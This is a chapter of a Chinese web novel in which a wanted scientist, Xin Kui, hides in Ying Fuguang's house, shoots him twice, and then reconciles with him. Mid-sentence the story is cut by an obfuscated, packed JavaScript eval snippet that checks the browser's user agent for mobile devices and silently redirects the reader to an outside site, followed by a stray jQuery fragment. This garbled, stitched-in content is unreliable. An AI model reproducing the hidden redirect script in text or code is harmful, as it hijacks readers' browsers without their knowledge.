刘斌一行人等辛葵走远之后,便调动了全城的警力去搜寻这辆黑色的小轿车。
但辛葵的反侦察力特别强,一到重要的拐弯路段,她就会将附近的监控破坏,让安管局的人无法再继续追查下去。
最后还是接到了一通匿名报案,在安管局附近公园的小山坡上看到了停靠在边的黑色小轿车,里面躺着的正是应扶光。
车窗开了条小缝,以防窒息,他的脸上还戴着一个防尘口罩。
安管局附近的监控都被破坏了,没人知道辛葵是怎么把车开进公园的,也不知道她从哪个方向逃亡。
刘斌将这种行为视为挑衅,以此为中心,向周围十公里开始了地毯式搜索,势必要将她捉拿归案。
“现在是晚上九点多,马上就要禁行了,而且她又被列到通缉名单里面,住不了酒店,她是跑不了多远的。”刘斌皱着眉,神色非常凝重,对着手下那些警员说道,“挨家挨户给我仔细搜查过去,绝对不能放过任何一个地方,知道了吗?”
“组长,那对面那家要查吗?”警员指着马路对面那栋小洋房问道,“那是应队长的家。”
刘斌冷笑道:“应队长的家安全系数非常高,不论是谁靠近都会发出警报声,再靠近就会被击毙,我倒是想让她往这个地方跑,但奈何她也没有这个胆子,你们去查别的地方就好,那边非常安全,不必在那边浪费时间。”
辛葵躲在暗处,看着罗善带着一群医疗兵将应扶光抬上担架,送到了安管局里面,她的眼睛都红了。
她原本只是不想欠人情,所以就把应扶光救自己的命还给他,但是救完之后她就后悔了,现在到处都在通缉她,她还把长生矿白白送人了。
她没有应扶光这么好的心肠,也没有应扶光这么好的家境,她名利财富尽失,甚至连治自己病的长生矿也拱手让人了,要是早知道当好人这么麻烦的话,她干脆就直接当个彻头彻尾的坏人,让应扶光烂死在地里,自己拍手走人得了。
虽然很难再回到第九区了,但至少也能在第十区再继续当她的科研人才,穿着白大褂晃着五颜六色的试剂,在众人羡慕的目光之下又领下这个月的人才补贴。
但是现在什么都没了,之前在第九区还只是疑罪未名,被列入怀疑名单里面而已,现在倒是好了,直接成了通缉犯,还背上了袭警的罪名。
她哪也去不了,天又快黑了,要是再不找个地方藏起来,就算不被安管局的人抓起来拷打,也会被异种抓起来撕碎。
酒店又住不了,桥洞地下太危险,随便入室又怕被人开枪打死,辛葵实在是无处可去了,最后偷偷钻进了应扶光的家里。
好在应扶光是个好人,没有将辛葵从准入名单里面删除,所以她还能进来。
她避开所有摄像头还有机器人的目光,躲在了一个房间里面,她将自己藏在了床底下,因为这边空间很小,能让自己更有安全感,而且这边不容易被找到。
辛葵躲在床底下将自己蜷缩起来,她想了很多事,自己从小就是命运多舛,每次都是差了那么一点,每次都是。
她抱着自己痛哭,恨柴隐山当初为什么要将自己带到第九区去,既然最后的结果都是烂死在十三区,那她当初干脆就不要见到太阳。
她痛恨柴隐山为什么偏偏选中她为棋子,明明她的未来那么灿烂,只要再努力个几十年,很有可能就能名利双收,成为最年轻的首席研究员了。
她痛恨自己当初为什么不晚一点再做神经切除手术,只要再晚一点的话,她就可以不用饱受记忆回溯的痛苦,不用再接受那么多次治疗,不用把止痛药和安眠药当饭吃,也不用再一次次铤而走险的给自己调配药物。
她更痛恨自己为什么这么圣母,既然没有拯救他人的能力,又为什么要将自己作为垫脚石,救他人于水火。
他人的死活关自己什么事!
她恨了很多人,恨了很多事,但恨来恨去到头来才发现,自己不论走哪条路都是堵死的。
她恨命运的不公,每次都只是差一点,她就要成功了,但总是差那么一点。
辛葵是个很不喜欢流眼泪的人,她只会将眼泪用于伪装真心,但今晚不论她如何强制自己,眼泪总是流个不停,辛葵想到了很多事,所有的痛苦都像是一把带着尖刀的利刃,光速朝她飞来,带着无数根尖刺,刺破她大脑皮层里的每一个细胞。
辛葵头痛欲裂,但这是她记忆回溯的几十万次里面,最解脱的一次。
头痛了心就不痛了。
她恨透这个世界,却又无力改变,这么痛一次也好,就当做是解脱吧。
辛葵头痛欲裂,但敏锐的第六感还是告诉她,有人进来了。
她警惕地睁开眼,强忍着头上的剧痛,将自己藏到窗帘后面,这个地方进可攻退可逃,只要一开窗,就又是一条生机。
但现在辛葵的状态很虚弱,在大半夜跑到十三区的街上,对她来说无疑是送命的事。
不久后,门被打开了,紧接着是灯亮了,最后是卧室的门也被退开了。
脚步一声声朝辛葵靠近,目标非常明确,像是锁定她了一样。
究竟是谁有如此精确的能力,难不成她身上还有没被她发现的定位器?
辛葵捏紧手枪,准备随时开枪射击。
“是我,出来吧。”是应扶光的声音。
辛葵举着枪就出来了,尽管手因为剧烈疼痛而有些抖,但枪口还是直直对准应扶光,“我能救你,也能杀你。”
应扶光没有说话,将手伸进口袋里,掏着什么。
辛葵一看到他这个动作,如临大敌,求生的本能反应让她开了一枪,正中应扶光的手腕。
应扶光吃痛,但手还是坚持将口袋里的东西拿出来,“你的联讯器。”
他的手还在滴血,点点鲜红的血滴在地上,炸开一朵朵猩红的花朵,妖艳瘆人。
辛葵不可置信地看着他,不清楚他现在究竟想干嘛,她上前一步,但枪口还是一直对准应扶光,警惕地从他手里接过联讯器,死死地盯着他眼睛看,问道:“你想干嘛?”
应扶光轻笑,骨节分明又布满青筋
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17421692|197305||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的手现在流满了血,像是从地狱里爬出来的恶鬼。
他朝辛葵靠近了一些,辛葵顺势后退,但他还在靠近,直到辛葵退无可退之后,她将枪抵住应扶光的心脏,呵斥道:“你要是再靠近一点,我就杀了你。”
见应扶光还在靠前,辛葵直接扣下扳机,心如死灰的眼里是破釜沉舟般的孤注一掷,她打中了他的左肩。
应扶光的肩膀瞬间就涌出无数鲜血,但应扶光也只是淡淡的勾唇一笑,眼神和手都伸到辛葵的后面,越过辛葵的身体,将她身后的窗帘拉上,随后在她耳边轻声说了一句,“外面有人在查。”
应扶光的嘴巴贴的很近,近的好像都要贴到她的耳朵了,声音酥麻麻的,还带着点热气,“谢谢你。”
辛葵皱眉,“你说什么?”
应扶光看着辛葵,捏了捏她的指尖,眼里满是温柔,“谢谢你救我。”
应扶光看着辛葵眉头紧皱,额头上已经布满了细密的冷汗,他轻轻握住辛葵拿枪的手,将她往自己身上带。
不知为何,自从他再醒来之后,就对辛葵的气味非常敏感,而且在接近辛葵之后,他就会非常身心愉悦。
辛葵头痛欲裂,想去吃一碗安眠药,再和应扶光决一死战,但不知为何,当应扶光的手轻轻搂住自己的腰的时候,她发现自己好像没有这么反感他了。
而且当靠近应扶光的时候,她感受到一股清冽的味道,还有前所未有的轻松,自己身上剧烈的疼痛好像都减轻了。
这种感觉是之前辛葵不论吃多少药都不曾有过的,她也几乎是本能的贴紧应扶光,将自己的脑袋都埋进他怀里,不去想那么多。
反正生活已经很烂了,再烂能烂到哪去。
应扶光见辛葵没有抗拒自己,先是一愣,随后抱着辛葵,在她耳侧轻声说道:“你先去床上休息会,我去叫医疗机器人来,你放心,我已经跟安管局的人说清了,他们不会再纠缠你了。”
辛葵没有回答,算是默认了。
应扶光将辛葵横抱上床,给她盖好被子,“我去给你拿一些恢复剂。”
但辛葵却将他一把抓了回来,意识际于清醒和朦胧之间,将他拉倒在床,紧紧抱住他的手臂,“够了。”
有你就够了。
应扶光浑身一颤,只觉一股酥麻从脚底开始蹿至头顶,他浑身的血液都开始奔涌了。
他极力克制住内里的祂,扼制自己蔓延出无数的粗壮的触手。
这样会吓到辛葵的。
应扶光的心酥麻麻的,心跳都漏了一拍,他将辛葵搂进自己怀里,轻轻地将脑袋搭在辛葵的肩膀上。
两个各有缺陷的人依偎在一起取暖,破碎的心也在慢慢被修复。
辛葵在意识朦胧间揪着应扶光胸前的衣服,问出一句话,“你是怎么找到我的?”
应扶光握住辛葵的手,将她又搂的更紧了些,开口的第一个字有些颤,“我没想到,你会带走那把手枪,”黑暗中应扶光的眼角似有泪光闪烁,“我很开心。”
你没有放弃我,真好。